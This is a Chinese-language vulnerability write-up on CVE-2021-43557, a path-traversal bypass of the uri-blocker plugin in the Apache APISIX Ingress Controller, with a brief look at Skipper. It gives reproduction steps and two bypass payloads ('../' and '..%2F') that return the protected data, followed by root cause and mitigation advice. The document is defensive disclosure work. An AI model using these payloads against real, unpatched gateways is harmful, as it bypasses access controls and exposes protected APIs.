在这篇文章中,将介绍我对 Apache APISIX Ingress Controller 中
$request_uri
变量不安全使用的问题研究。
本文提及的 Ingress Controller 中 $request_uri
变量不安全使用的问题,目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后,目前该漏洞已第一时间被修复。同时在文章最后,我也将简要地提到我为同一问题测试的Skipper 项目。
Apache APISIX 是一个动态、实时、高性能的 API 流量处理平台,它提供了丰富的流量管理功能,如负载均衡、动态上游、金丝雀发布、断路器、身份认证、可观测性等。
为什么是 $request_uri
?
$request_uri
在认证和授权插件中被多次使用。因为它是not normalized,所以就增加了绕过一些限制的可能性。
Apache APISIX 内置多种身份认证插件,当然,你也可以编写自定义插件。为了验证它受到了路径遍历问题的影响,我选择了 uri-blocker
插件进行演示。
#
开始部署在这里,我使用了 0.7.2 版本的 Helm Chart 来将 Apache APISIX 部署至 Kubernetes 中:
helm repo add bitnami https://charts.bitnami.com/bitnamihelm repo updatekubectl create ns ingress-apisixhelm install apisix apisix/apisix \ --set gateway.type=NodePort \ --set ingress-controller.enabled=true \ --namespace ingress-apisix \ --version 0.7.2kubectl get service --namespace ingress-apisix
如果安装时出现问题,请参考官方指南。
接着,我部署了一条 ApisixRoute
资源以便创建 Ingress 路由:
apiVersion: apisix.apache.org/v2beta1kind: ApisixRoutemetadata: name: public-service-routespec: http: - name: public-service-rule match: hosts: - app.test paths: - /public-service/* backends: - serviceName: public-service servicePort: 8080 plugins: - name: proxy-rewrite enable: true config: regex_uri: ["/public-service/(.*)", "/$1"] - name: protected-service-rule match: hosts: - app.test paths: - /protected-service/* backends: - serviceName: protected-service servicePort: 8080 plugins: - name: uri-blocker enable: true config: block_rules: ["^/protected-service(/?).*"] case_insensitive: true - name: proxy-rewrite enable: true config: regex_uri: ["/protected-service/(.*)", "/$1"]
ApisixRoute
可以做到以下内容:
- 为
public-service
和private-service
创建路由; - 开启
proxy-rewrite
来删除前缀; - 为
protected-service
配置了uri-blocker
插件。这个插件会阻止任何以/protected-service
开头的请求。
#
复现步骤在这里,我使用的是 2.10.0 版本的 Apache APISIX。
选择使用 minikube 来访问 Apache APISIX 路由资源:
kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
此外,我也写了一个脚本来减少重复性操作:
#/bin/bash
kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'
在尝试复现问题时,可将
apisix-dc9d99d76-vl5lh
替换为实际的 Apache APISIX Pod 名称。
接下来让我们开始验证路由和插件是否按预期正常工作:
$ ./apisix_request.sh "/public-service/public"Defaulted container "apisix" out of: apisix, wait-etcd (init){"data":"public data"}
$ ./apisix_request.sh "/protected-service/protected"Defaulted container "apisix" out of: apisix, wait-etcd (init)<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
从上边我们看到,public-service
是可用的,protected-service
则被插件阻止了。
现在让我们测试一下 Payload:
- 情况一
$ ./apisix_request.sh "/public-service/../protected-service/protected"Defaulted container "apisix" out of: apisix, wait-etcd (init){"data":"protected data"}
- 情况二
$ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"Defaulted container "apisix" out of: apisix, wait-etcd (init){"data":"protected data"}
正如你所看到的,在上述两种情况下,我都能够绕过 Uri 的限制。
#
漏洞解析出现上述情况的根本原因是 uri-blocker
插件在处理禁止访问的逻辑中使用了 ctx.var.require_uri
变量。可以点击相关代码进行查看。
#
漏洞影响- 攻击者可以绕过访问控制限制逻辑,访问本应该禁止的 API;
- 自定义插件的开发者或许不知道
ngx.var.request_uri
变量是不可信任的。
在搜索 var.request_uri
相关用法时,我猜测上述漏洞或许对 authz-keycloak 插件也有影响。
具体细节详情可以参考这段代码。如果 keycloak 方面没有进行相关规范化,那么出现漏洞的可能性就很大。
#
处理措施关于此漏洞的解决方法,我个人建议如果是使用自定义插件的话,可在使用 ngx.var.request_uri
变量前进行路径规范化的相关处理。同时可以额外检查下 ctx.var.upstream_uri
和 ctx.var.uri
这两个变量,虽然可能已经被规范化了,但防患于未然。
#
SkipperSkipper 是我个人在进行上述安全漏洞调查时接触到的另一个 Ingress Controller。因其内容久远未更新,在 Kubernetes 中安装它并不容易。幸运的是,我在开发者文章里找到了如何安装它的相关内容。
这项 Ingress 提供了基于 WebHook filter 实现的外部认证可能性。
apiVersion: networking.k8s.io/v1kind: Ingressmetadata: name: my-ingress annotations: zalando.org/skipper-filter: | modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
通过添加一些 headers 可以优化访问控制决策,但需要用 setRequestHeader
过滤器手动完成。
有一个模板可以通过使用 ${}
来注入变量,但遗憾的是(对攻击者来说)${request.path}
有正常化的路径。在它的开发代码中可以看到,开发人员并没有轻易使用 RequestURI
和originalRequest
。
我没有进行相关的路径遍历测试,或许 Skipper 也是安全可信的一个 Ingress Controller 选择。
#
总结虽然前文中我提到了 Apache APISIX 存在路径遍历的漏洞,但该漏洞并不影响任何外部认证,只是影响了使用 ctx.var.request_uri
变量的插件。同时该漏洞已被 Apache APISIX 进行了及时修复,目前已没有安全漏洞问题,大家可放心使用。
关于本文中提到的全部代码都可以在这里进行查阅参考。